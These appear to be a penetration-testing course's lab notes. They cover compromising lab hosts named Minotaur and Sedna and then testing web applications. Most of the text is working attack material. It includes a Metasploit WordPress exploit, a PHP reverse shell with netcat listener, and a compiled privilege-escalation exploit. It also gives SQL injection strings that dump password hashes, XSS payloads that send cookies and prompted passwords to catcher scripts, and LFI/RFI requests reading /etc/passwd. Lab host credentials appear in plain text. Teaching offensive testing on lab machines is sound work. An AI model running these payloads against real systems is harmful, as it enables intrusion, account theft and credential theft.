 view-source:http://172.31.2.217/c2444910794e037ebd8aaf257178c90b/?p=flag
   -- view source --
   -- Nothing in source --
 
 
 Tried a PHP base64 decode with the URL:
 http://172.31.2.217/c2444910794e037ebd8aaf257178c90b/?p=php://filter/convert.base64-encode/resource=welcome.php
 http://172.31.2.217/c2444910794e037ebd8aaf257178c90b/?p=php://filter/convert.base64-encode/resource=flag.php
 http://172.31.2.217/c2444910794e037ebd8aaf257178c90b/?p=php://filter/convert.base64-encode/resource=party.php
 
 ------ https://www.base64decode.org/ -------
 Use the string found here:
 http://172.31.2.217/c2444910794e037ebd8aaf257178c90b/?p=php://filter/convert.base64-encode/resource=flag.php
 
 -------------------------------------------------------------------
 PD9waHAKZGVmaW5lZCAoJ1ZJQUlOREVYJykgb3IgZGllKCdPb29vaCEgU28gY2xvc2UuLicpOwo/Pgo8aDE+RmxhZzwvaDE+CjxwPkhtbS4gTG9va2luZyBmb3IgYSBmbGFnPyBDb21lIG9uLi4uIEkgaGF2ZW4ndCBtYWRlIGl0IGVhc3kgeWV0LCBkaWQgeW91IHRoaW5rIEkgd2FzIGdvaW5nIHRvIHRoaXMgdGltZT88L3A+CjxpbWcgc3JjPSJ0cm9sbGZhY2UucG5nIiAvPgo8P3BocAovLyBPaywgb2suIEhlcmUncyB5b3VyIGZsYWchIAovLwovLyBmbGFnNHs0ZTQ0ZGIwZjFlZGMzYzM2MWRiZjU0ZWFmNGRmNDAzNTJkYjkxZjhifQovLyAKLy8gV2VsbCBkb25lLCB5b3UncmUgZG9pbmcgZ3JlYXQgc28gZmFyIQovLyBOZXh0IHN0ZXAuIFNIRUxMIQovLwovLyAKLy8gT2guIFRoYXQgZmxhZyBhYm92ZT8gWW91J3JlIGdvbm5hIG5lZWQgaXQuLi4gCj8+Cg==
 -------------------------------------------------------------------
 <?php
 defined ('VIAINDEX') or die('Ooooh! So close..');
 ?>
 <h1>Flag</h1>
 <p>Hmm. Looking for a flag? Come on... I haven't made it easy yet, did you think I was going to this time?</p>
 <img src="trollface.png" />
 <?php
 // Ok, ok. Here's your flag!
 //
 // flag4{4e44db0f1edc3c361dbf54eaf4df40352db91f8b}
 //
 // Well done, you're doing great so far!
 // Next step. SHELL!
 //
 //
 // Oh. That flag above? You're gonna need it...
 ?>
 
 ######################
 # Attacking Minotaur #
 ######################
 
 Step 1: Portscan/Bannergrab the target host
 ---------------------------Type This-----------------------------------
 sudo nmap -sV 172.31.2.117
 -----------------------------------------------------------------------
 
 
 
 Step 2: Vulnerability scan the web server
 ---------------------------Type This-----------------------------------
 cd ~/toolz/
 
 rm -rf nikto*
 
 git clone https://github.com/sullo/nikto.git Nikto2
 
 cd ~/toolz/Nikto2/program
 
 perl nikto.pl -h 172.31.2.117
 -----------------------------------------------------------------------
 
 
 
 Step 3: Directory brute-force the webserver
 ---------------------------Type This-----------------------------------
 cd ~/toolz
 
 sudo apt install -y libcurl4-openssl-dev
 
 git clone https://github.com/v0re/dirb.git
 
 cd dirb/
 
 ./configure
 
 make
 
 dirb
 
 ./dirb http://172.31.2.117 wordlists/big.txt
 -----------------------------------------------------------------------
 
 ### dirb output ###
 ==> DIRECTORY: http://172.31.2.117/bull/
 -----------------------------------------------------------------------
 
 
 Step 4: Run wordpress vulnerability scanner
 ---------------------------Type This-----------------------------------
 sudo apt-get install -y libcurl4-openssl-dev libxml2 libxml2-dev libxslt1-dev ruby-dev build-essential libgmp-dev zlib1g-dev
 
 cd ~/toolz
 
 rm -rf wpsca*
 
 git clone https://github.com/wpscanteam/wpscan.git
 
 cd wpscan
 
 sudo gem install bundler && bundle install --without test development
 
 rbenv install 2.5.0-dev
 
 ruby wpscan.rb -u http://172.31.2.117/bull/ --enumerate u
 -----------------------------------------------------------------------
 
 
 
 
 Step 5: Attack vulnerable Wordpress plugin with Metasploit
 ---------------------------Type This-----------------------------------
 cd ~/toolz/metasploit
 
 ./msfconsole
 
 use exploit/unix/webapp/wp_slideshowgallery_upload
 
 set RHOST 172.31.2.117
 
 set RPORT 80
 
 set TARGETURI /bull
 
 set WP_USER bully
 
 set WP_PASSWORD Bighornedbulls
 
 exploit
 -----------------------------------------------------------------------
 
 Damn...that didn't work...Can't reverse shell from inside the network to a host in the VPN network range.
 This is a lab limitation that I implemented to stop students from compromising hosts in the lab network
 and then from the lab network attacking other students.
 
 
 ---------------------------Type This-----------------------------------
 wget http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz
 
 tar -zxvf php-reverse-shell-1.0.tar.gz
 
 cd ~/toolz/php-reverse-shell-1.0/
 
 nano php-reverse-shell.php
 -----------------------------------------------------------------------
     ***** change the $ip and $port variables to a host that you have already compromised in the network
     ***** for this example I chose 172.31.2.64 and kept port 1234
 
 
 ---------------------------Type This-----------------------------------
 chmod 777 php-reverse-shell.php
 cp php-reverse-shell.php ..
 -----------------------------------------------------------------------
 
 
 
 ----------- Paste this into a new file called wp_gallery_slideshow_146_suv.py -----------
 https://www.exploit-db.com/raw/34681/
 
 python wp_gallery_slideshow_146_suv.py -t http://172.31.2.117/bull/ -u bully -p Bighornedbulls -f php-reverse-shell.php
 
 -----------------------------------------------------------------------
 
 
 
 Set up netcat listener on previously compromised host
 ---------------------------Type This-----------------------------------
 ssh -l webmin 172.31.2.64
     webmin1980
 
 python -c 'import pty;pty.spawn("/bin/bash")'
 
 
 cd /tmp
 
 ./boom2
 
 nc -lvp 1234
 -----------------------------------------------------------------------
 
 
 
 
 ---------------------Type This in your browser ------------------------
 http://172.31.2.117/bull//wp-content/uploads/slideshow-gallery/php-reverse-shell.php
 -----------------------------------------------------------------------
 
 
 Now check your listener to see if you got the connection
 ---------------------------Type This-----------------------------------
 id
 
 /sbin/ifconfig
 
 python -c 'import pty;pty.spawn("/bin/bash")'
 
 ---------------------------Type This-----------------------------------
 cd /tmp
 cat >> exploit2.c << out
 -----------------------------------------------------------------------
 **************paste in the content from here *****************
 https://www.exploit-db.com/raw/37292/
 
 **************hit enter a few times *****************
 
 ---------------------------Type This-----------------------------------
 out
 
 
 gcc -o boom2 exploit2.c
 
 ./boom2
 
 id
 -----------------------------------------------------------------------
 
 ......YEAH - do the happy dance!!!!
 
 
 
 
 
  ##################
 # Attacking Sedna #
 ###################
 
 Attack steps:
 -------------
 
 
 
 Step 1: Ping sweep the target network
 ---------------------------Type This-----------------------------------
 nmap -sP 172.31.2.0/24
 -----------------------------------------------------------------------
 
 
 
 
 
 
 Step 2: Port scan/Bannergrab the target host
 ---------------------------Type This-----------------------------------
 sudo nmap -sV 172.31.2.86
 -----------------------------------------------------------------------
 
 
 PORT     STATE    SERVICE     VERSION
 22/tcp   open     ssh         (protocol 2.0)
 53/tcp   open     domain      ISC BIND 9.9.5-3-Ubuntu
 80/tcp   open     http        Apache httpd 2.4.7 ((Ubuntu))
 110/tcp  open     pop3        Dovecot pop3d
 111/tcp  open     rpcbind     2-4 (RPC #100000)
 139/tcp  open     netbios-ssn Samba smbd 3.X (workgroup: SEDNA)
 143/tcp  open     imap        Dovecot imapd
 445/tcp  open     netbios-ssn Samba smbd 3.X (workgroup: SEDNA)
 514/tcp  filtered shell
 993/tcp  open     ssl/imap    Dovecot imapd
 995/tcp  open     ssl/pop3    Dovecot pop3d
 8080/tcp open     http        Apache Tomcat/Coyote JSP engine 1.1
 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :
 SF-Port22-TCP:V=6.40%I=7%D=1/26%Time=5A6B4540%P=x86_64-pc-linux-gnu%r(NULL
 SF:,29,"SSH-2\.0-OpenSSH_6\.6\.1p1\x20Ubuntu-2ubuntu2\r\n");
 
 Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
 Nmap done: 1 IP address (1 host up) scanned in 246.11 seconds
 
 
 
 
 
 
 
 
 
 Step 3: Vulnerability scan the webserver ports
 ---------------------------Type This-----------------------------------
 cd ~/toolz/
 
 rm -rf nikto*
 
 git clone https://github.com/sullo/nikto.git Nikto2
 
 cd Nikto2/program
 
 perl nikto.pl -h 172.31.2.86
 
 perl nikto.pl -h 172.31.2.86:8080
 -----------------------------------------------------------------------
 
 
 
 
 
 Step 4: Perform directory bruteforce against the target host
 ---------------------------Type This-----------------------------------
 wget https://dl.packetstormsecurity.net/UNIX/cgi-scanners/Webr00t.pl
 
 perl Webr00t.pl -h 172.31.2.86 -v
 -----------------------------------------------------------------------
 
 
 
                   or with dirbuster (dirb)
 
 
 
 
 ---------------------------Type This-----------------------------------
 cd ~/toolz
 
 sudo apt install -y libcurl4-openssl-dev
 
 git clone https://github.com/v0re/dirb.git
 
 cd dirb/
 
 ./configure
 
 make
 
 dirb
 
 ./dirb http://172.31.2.86 wordlists/big.txt
 -----------------------------------------------------------------------
 
 ### dirb output ###
 ==> DIRECTORY: http://172.31.2.86/blocks/
 ==> DIRECTORY: http://172.31.2.86/files/
 ==> DIRECTORY: http://172.31.2.86/modules/
 ==> DIRECTORY: http://172.31.2.86/system/
 ==> DIRECTORY: http://172.31.2.86/themes/
 
 + http://172.31.2.86/robots.txt (CODE:200|SIZE:36)
 + http://172.31.2.86/server-status (CODE:403|SIZE:291)
 ### dirb output ###
 
 
 
 
 
 Browsed each of the directories and found that inside of the /themes folder contained the vulnerable application Builder Engine 3.5.0
 
 An exploit for this application can be found at:
 https://www.exploit-db.com/exploits/40390/
 
 
 
 
 
 -------------------save this a "BuilderEngine.html"-------------------
 <html>
 <body>
 <form method="post" action="http://172.31.2.86/themes/dashboard/assets/plugins/jquery-file-upload/server/php/"
 
 enctype="multipart/form-data">
     <input type="file" name="files[]" />
     <input type="submit" value="send" />
 </form>
 </body>
 </html>
 -----------------------------------------------------------------------
 
 
 Download this webshell (http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz) to your local machine.
 
 Change the IP address in the source code of the webshell to another server in the lab network that you have root access to.
 
 On the other server run:
 nc -lvp 1234
 
 Then upload the pentestmonkey reverseshell to .86
 
 ============================================ Attacking another server because I need a reverse shell =========================================
 
 ##################
 # Day 1 Homework #
 ##################
 Send Ivana an email ivana{a-t}strategicsec{d-o-t}.com with a word document that contains screenshots of everything that we have covered so far. Make the subject of the email "First Name - Last Name - CyberWar Day 1" (ex: Joseph - McCray - CyberWar Day 1).
 
 Also be sure to name the attached file "FirstName.LastName.CyberwarDay1.docx" (Joseph.McCray.CyberWarDay1.docx).
 
 NOTE: This is what is required in order to receive your certificate of completion and CPEs.
 
 
 
 ---------------------------------------------------------------------------------------------------------------------------------------------
 ##################################
 # Basic: Web Application Testing #
 ##################################
 
 Most people are going to tell you reference the OWASP Testing guide.
 https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents
 
 I'm not a fan of it for the purpose of actual testing. It's good for defining the scope of an assessment, and defining attacks, but not very good for actually attacking a website.
 
 
 The key to doing a Web App Assessment is to ask yourself the 3 web questions on every page in the site.
 
     1. Does the website talk to a DB?
         - Look for parameter passing (ex: site.com/page.php?id=4)
         - If yes - try SQL Injection
 
     2. Can I or someone else see what I type?
         - If yes - try XSS
 
     3. Does the page reference a file?
         - If yes - try LFI/RFI
 
 Let's start with some manual testing against 45.77.162.239
 
 
 Start here:
 ---------------------------Paste this into Firefox---------------------
 http://45.77.162.239/
 -----------------------------------------------------------------------
 
 
 Moving on to the login page.
 ---------------------------Paste this into Firefox-----------------------------------
 http://45.77.162.239/login.aspx
 -------------------------------------------------------------------------------------
 
 I entered a single quote (') for both the user name and the password. I got the following error:
 
 Let's try throwing a single quote (') in there:
 ---------------------------Paste this into Firefox-----------------------------------
 http://45.77.162.239/bookdetail.aspx?id=2'
 -------------------------------------------------------------------------------------
 
 I get the following error:
 
 Unclosed quotation mark after the character string ''.
 Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
 
 Exception Details: System.Data.SqlClient.SqlException: Unclosed quotation mark after the character string ''.
 
 
 
 
 
 
 
 
 
 
 #########################################################################################
 # SQL Injection                                                                         #
 # https://s3.amazonaws.com/infosecaddictsfiles/1-Intro_To_SQL_Intection.pptx            #
 #########################################################################################
 
 
 - Another quick way to test for SQLI is to remove the parameter value
 
 
 #############################
 # Error-Based SQL Injection #
 #############################
 ---------------------------Paste these one line at a time into Firefox-----------------------------------
 http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))--
 http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))--
 http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))--
 http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))--
 http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))--
 http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))--     NOTE: "N" - just means to keep going until you run out of databases
 http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))--
 http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')--
 http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')--
 ---------------------------------------------------------------------------------------------------------
 
 
 
 
 
 #############################
 # Union-Based SQL Injection #
 #############################
 ---------------------------Paste these one line at a time into Firefox-----------------------------------
 http://45.77.162.239/bookdetail.aspx?id=2 order by 100--
 http://45.77.162.239/bookdetail.aspx?id=2 order by 50--
 http://45.77.162.239/bookdetail.aspx?id=2 order by 25--
 http://45.77.162.239/bookdetail.aspx?id=2 order by 10--
 http://45.77.162.239/bookdetail.aspx?id=2 order by 5--
 http://45.77.162.239/bookdetail.aspx?id=2 order by 6--
 http://45.77.162.239/bookdetail.aspx?id=2 order by 7--
 http://45.77.162.239/bookdetail.aspx?id=2 order by 8--
 http://45.77.162.239/bookdetail.aspx?id=2 order by 9--
 http://45.77.162.239/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9--
 ---------------------------------------------------------------------------------------------------------
 
     We are using a union select statement because we are joining the developer's query with one of our own.
     Reference:
     http://www.techonthenet.com/sql/union.php
     The SQL UNION operator is used to combine the result sets of 2 or more SELECT statements.
     It removes duplicate rows between the various SELECT statements.
 
     Each SELECT statement within the UNION must have the same number of fields in the result sets with similar data types.
 ---------------------------Paste these one line at a time into Firefox-----------------------------------
 http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9--
 ---------------------------------------------------------------------------------------------------------
     Negating the paramter value (changing the id=2 to id=-2) will force the pages that will echo back data to be displayed.
 
 ---------------------------Paste these one line at a time into Firefox-----------------------------------
 http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9--
 http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9--
 http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,db_name(0),8,9--
 http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,master.sys.fn_varbintohexstr(password_hash),8,9 from master.sys.sql_logins--
 ---------------------------------------------------------------------------------------------------------
 
 
 
 
 - Another way is to see if you can get the backend to perform an arithmetic function
 ---------------------------Paste these one line at a time into Firefox-----------------------------------
 http://45.77.162.239/bookdetail.aspx?id=(2)
 http://45.77.162.239/bookdetail.aspx?id=(4-2)
 http://45.77.162.239/bookdetail.aspx?id=(4-1)
 ---------------------------------------------------------------------------------------------------------
 
 - This is some true/false logic testing
 ---------------------------Paste this into Firefox-----------------------------------
 http://45.77.162.239/bookdetail.aspx?id=2 or 1=1--
 http://45.77.162.239/bookdetail.aspx?id=2 or 1=2--
 http://45.77.162.239/bookdetail.aspx?id=1*1
 http://45.77.162.239/bookdetail.aspx?id=2 or 1 >-1#
 http://45.77.162.239/bookdetail.aspx?id=2 or 1<99#
 http://45.77.162.239/bookdetail.aspx?id=2 or 1<>1#
 http://45.77.162.239/bookdetail.aspx?id=2 or 2 != 3--
 http://45.77.162.239/bookdetail.aspx?id=2 &0#
 -------------------------------------------------------------------------------------
 
 -- Now that we've seen the differences in the webpage with True/False SQL Injection - let's see what we can learn using it
 ---------------------------Paste this into Firefox-----------------------------------
 http://45.77.162.239/bookdetail.aspx?id=2 and 1=1--
 http://45.77.162.239/bookdetail.aspx?id=2 and 1=2--
 http://45.77.162.239/bookdetail.aspx?id=2 and user='joe' and 1=1--
 http://45.77.162.239/bookdetail.aspx?id=2 and user='dbo' and 1=1--
 ---------------------------------------------------------------------------------------
 
 
 ###############################
 # Blind SQL Injection Testing #
 ###############################
 Time-Based BLIND SQL INJECTION - EXTRACT DATABASE USER
 
 3 - Total Characters
 ---------------------------Paste these one line at a time into Firefox-----------------------------------
 http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
 http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
 http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'--      (Ok, the username is 3 chars long - it waited 10 seconds)
 ---------------------------------------------------------------------------------------------------------
 
 Let's go for a quick check to see if it's DBO
 ---------------------------Paste this into Firefox-----------------------------------
 http://45.77.162.239/bookdetail.aspx?id=2; IF ((USER)='dbo') WAITFOR DELAY '00:00:10'--
 -------------------------------------------------------------------------------------
 Yup, it waited 10 seconds so we know the username is 'dbo' - let's give you the syntax to verify it just for fun.
 
 D  - 1st Character
 ---------------------------Paste these one line at a time into Firefox-----------------------------------
 http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'--
 http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--
 http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'--
 http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'--  (Ok, first letter is a 100 which is the letter 'd' - it waited 10 seconds)
 ---------------------------------------------------------------------------------------------------------
 
 B - 2nd Character
 ---------------------------Paste these one line at a time into Firefox-----------------------------------
 http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'--   Ok, good it waited for 10 seconds
 http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'--   Ok, good it waited for 10 seconds
 ---------------------------------------------------------------------------------------------------------
 
 O - 3rd Character
 ---------------------------Paste these one line at a time into Firefox-----------------------------------
 http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'--   Ok, good it waited for 10 seconds
 http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'--
 http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'--      Ok, good it waited for 10 seconds
 http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'--      Ok, good it waited for 10 seconds
 http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'--
 http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'--
 http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=111) WAITFOR DELAY '00:00:10'--      Ok, good it waited for 10 seconds
 ---------------------------------------------------------------------------------------------------------
 
 
 
 
 ##########
 # Sqlmap #
 ##########
 If you want to see how we automate all of the SQL Injection attacks you can log into your StrategicSec-Ubuntu-VM and run the following commands:
 ---------------------------Type This-----------------------------------
 cd /home/strategicsec/toolz/sqlmap-dev/
 python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -b
 python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" --current-user
 python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" --current-db
 python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" --dbs
 python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp --tables
 python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp -T BOOKMASTER --columns
 python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp -T sysdiagrams --columns
 python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp -T BOOKMASTER --columns --dump
 python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp -T sysdiagrams --columns --dump
 python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" --users --passwords
 ------------------------------------------------------------------------
 
 
 
 #######################
 # Attacking PHP/MySQL #
 #######################
 
 Go to LAMP Target homepage
 ---------------------------Paste this into Firefox-----------------------------------
 http://45.63.104.73/
 -------------------------------------------------------------------------------------
 
 
 Clicking on the Acer Link:
 ---------------------------Paste this into Firefox-----------------------------------
 http://45.63.104.73/acre2.php?lap=acer
 -------------------------------------------------------------------------------------
 
     - Found parameter passing (answer yes to question 1)
     - Insert ' to test for SQLI
 
 ---------------------------Paste this into Firefox-----------------------------------
 http://45.63.104.73/acre2.php?lap=acer'
 -------------------------------------------------------------------------------------
 
 Page returns the following error:
 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''acer''' at line 1
 
 
 
 In order to perform union-based sql injection - we must first determine the number of columns in this query.
 We do this using the ORDER BY
 ---------------------------Paste this into Firefox-----------------------------------
 http://45.63.104.73/acre2.php?lap=acer' order by 100-- +
 -------------------------------------------------------------------------------------
 
 
 Page returns the following error:
 Unknown column '100' in 'order clause'
 
 
 ---------------------------Paste this into Firefox-----------------------------------
 http://45.63.104.73/acre2.php?lap=acer' order by 50-- +
 -------------------------------------------------------------------------------------
 
 
 Page returns the following error:
 Unknown column '50' in 'order clause'
 
 
 ---------------------------Paste this into Firefox-----------------------------------
 http://45.63.104.73/acre2.php?lap=acer' order by 25-- +
 -------------------------------------------------------------------------------------
 
 Page returns the following error:
 Unknown column '25' in 'order clause'
 
 
 ---------------------------Paste this into Firefox-----------------------------------
 http://45.63.104.73/acre2.php?lap=acer' order by 12-- +
 -------------------------------------------------------------------------------------
 
 Page returns the following error:
 Unknown column '12' in 'order clause'
 
 
 ---------------------------Paste this into Firefox-----------------------------------
 http://45.63.104.73/acre2.php?lap=acer' order by 6-- +
 -------------------------------------------------------------------------------------
 ---Valid page returned for 5 and 6...error on 7 so we know there are 6 columns
 
 
 
 Now we build out the union all select statement with the correct number of columns
 
 Reference:
 http://www.techonthenet.com/sql/union.php
 
 
 ---------------------------Paste this into Firefox-----------------------------------
 http://45.63.104.73/acre2.php?lap=acer' union all select 1,2,3,4,5,6-- +
 -------------------------------------------------------------------------------------
 
 
 
 Now we negate the parameter value 'acer' by turning into the word 'null':
 
 http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,4,5,6-- j
 -------------------------------------------------------------------------------------
 
 We see that a 4 and a 5 are on the screen. These are the columns that will echo back data
 
 
 Use a cheat sheet for syntax:
 http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
 
 ---------------------------Paste these one line at a time into Firefox-----------------------------------
 http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),5,6-- j
 
 http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),version(),6-- j
 
 http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),@@version,6-- +
 
 http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),@@datadir,6-- +
 
 http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user,password,6 from mysql.user -- a
 ------------------------------------------------------------------------------------- -------------------
 
 
 
 
 Sometimes students ask about the "-- j" or "-- +" that I append to SQL injection attack string.
 
 Here is a good reference for it:
 https://www.symantec.com/connect/blogs/mysql-injection-comments-comments
 
 Both attackers and penetration testers alike often forget that MySQL comments deviate from the standard ANSI SQL specification. The double-dash comment syntax was first supported in MySQL 3.23.3. However, in MySQL a double-dash comment "requires the second dash to be followed by at least one whitespace or control character (such as a space, tab, newline, and so on)." This double-dash comment syntax deviation is intended to prevent complications that might arise from the subtraction of negative numbers within SQL queries. Therefore, the classic SQL injection exploit string will not work against backend MySQL databases because the double-dash will be immediately followed by a terminating single quote appended by the web application. However, in most cases a trailing space needs to be appended to the classic SQL exploit string. For the sake of clarity we'll append a trailing space and either a "+" or a letter.
 
 
 ###############################################################################
 # What is XSS                                                                 #
 # https://s3.amazonaws.com/infosecaddictsfiles/2-Intro_To_XSS.pptx            #
 ###############################################################################
 
 OK - what is Cross Site Scripting (XSS)
 
 1. Use Firefox to browse to the following location:
     ---------------------------Paste this into Firefox-----------------------------------
     http://45.63.104.73/xss_practice/
     -------------------------------------------------------------------------------------
 
     A really simple search page that is vulnerable should come up.
 
 
 
 
 2. In the search box type:
     ---------------------------Paste this into Firefox-----------------------------------
     <script>alert('So this is XSS')</script>
     -------------------------------------------------------------------------------------
 
 
     This should pop-up an alert window with your message in it proving XSS is in fact possible.
     Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
 
 
 3. In the search box type:
     ---------------------------Paste this into Firefox-----------------------------------
     <script>alert(document.cookie)</script>
     -------------------------------------------------------------------------------------
 
 
     This should pop-up an alert window with your message in it proving XSS is in fact possible and your cookie can be accessed.
     Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
 
 4. Now replace that alert script with:
     ---------------------------Paste this into Firefox-----------------------------------
     <script>document.location="http://45.63.104.73/xss_practice/cookie_catcher.php?c="+document.cookie</script>
     -------------------------------------------------------------------------------------
 
 This will actually pass your cookie to the cookie catcher that we have sitting on the webserver.
 
 
 5. Now view the stolen cookie at:
    ---------------------------Paste this into Firefox-----------------------------------
    http://45.63.104.73/xss_practice/cookie_stealer_logs.html
    -------------------------------------------------------------------------------------
 
 The cookie catcher writes to this file and all we have to do is make sure that it has permissions to be written to.
 
 
 
 
 
 
 ############################
 # A Better Way To Demo XSS #
 ############################
 
 
 Let's take this to the next level. We can modify this attack to include some username/password collection. Paste all of this into the search box.
 
 
 Use Firefox to browse to the following location:
 ---------------------------Paste this into Firefox-----------------------------------
     http://45.63.104.73/xss_practice/
 -------------------------------------------------------------------------------------
 
 
 Paste this in the search box
 ----------------------------
 
 
 Option 1
 --------
 ---------------------------Paste this into Firefox-----------------------------------
 <script>
 password=prompt('Your session is expired. Please enter your password to continue',' ');
 document.write("<img src=\"http://45.63.104.73/xss_practice/passwordgrabber.php?password=" +password+"\">");
 </script>
 -------------------------------------------------------------------------------------
 
 Now view the stolen cookie at:
 ---------------------------Paste this into Firefox-----------------------------------
     http://45.63.104.73/xss_practice/passwords.html
 -------------------------------------------------------------------------------------
 
 
 Option 2
 --------
 -------------------------Paste this into Firefox-----------------------------------
 <script>
 username=prompt('Please enter your username',' ');
 password=prompt('Please enter your password',' ');
 document.write("<img src=\"http://45.63.104.73/xss_practice/unpw_catcher.php?username="+username+"&password="+password+"\">");
 </script>
 -------------------------------------------------------------------------------------
 
 
 
 Now view the stolen cookie at:
 http://45.63.104.73/xss_practice/username_password_logs.html
 
 
 
 
 #########################################
 # Let's try a local file include (LFI)  #
 #########################################
 - Here is an example of an LFI
 - Open this page in Firefox:
 -------------------------Paste this into Firefox-----------------------------------
 http://45.63.104.73/showfile.php?filename=contactus.txt
 -------------------------------------------------------------------------------------
 
 
 - Notice the page name (showfile.php) and the parameter name (filename) and the filename (contactus.txt)
 - Here you see a direct reference to a file on the local filesystem of the victim machine.
 - You can attack this by doing the following:
 -------------------------Paste this into Firefox-----------------------------------
 http://45.63.104.73/showfile.php?filename=/etc/passwd
 -------------------------------------------------------------------------------------
 
 
 - This is an example of a Local File Include (LFI), to change this attack into a Remote File Include (RFI) you need some content from
 - somewhere else on the Internet. Here is an example of a text file on the web:
 -------------------------Paste this into Firefox-----------------------------------
 http://www.opensource.apple.com/source/SpamAssassin/SpamAssassin-127.2/SpamAssassin/t/data/etc/hello.txt
 -------------------------------------------------------------------------------------
 
 - Now we can attack the target via RFI like this:
 -------------------------Paste this into Firefox-----------------------------------
 http://45.63.104.73/showfile.php?filename=http://www.opensource.apple.com/source/SpamAssassin/SpamAssassin-127.2/SpamAssassin/t/data/etc/hello.txt
 -------------------------------------------------------------------------------------
 
 
 
 ###############################
 # How much fuzzing is enough? #
 ###############################
 There really is no exact science for determining the correct amount of fuzzing per parameter to do before moving on to something else.
 
 Here are the steps that I follow when I'm testing (my mental decision tree) to figure out how much fuzzing to do.
 
 
 Step 1: Ask yourself the 3 questions per page of the site.
 
 Step 2: If the answer is yes, then go down that particular attack path with a few fuzz strings (I usually do 10-20 fuzz strings per parameter)
 
 Step 3: When you load your fuzz strings - use the following decision tree
 
     - Are the fuzz strings causing a default error message (example 404)?
         - If this is the case then it is most likely NOT vulnerable
 
     - Are the fuzz strings causing a WAF or LB custom error message?
         - If this is the case then you need to find an encoding method to bypass
 
 
     - Are the fuzz strings causing an error message that discloses the backend type?
         - If yes, then identify DB type and find correct syntax to successfully exploit
         - Some example strings that I use are:
             '
             "
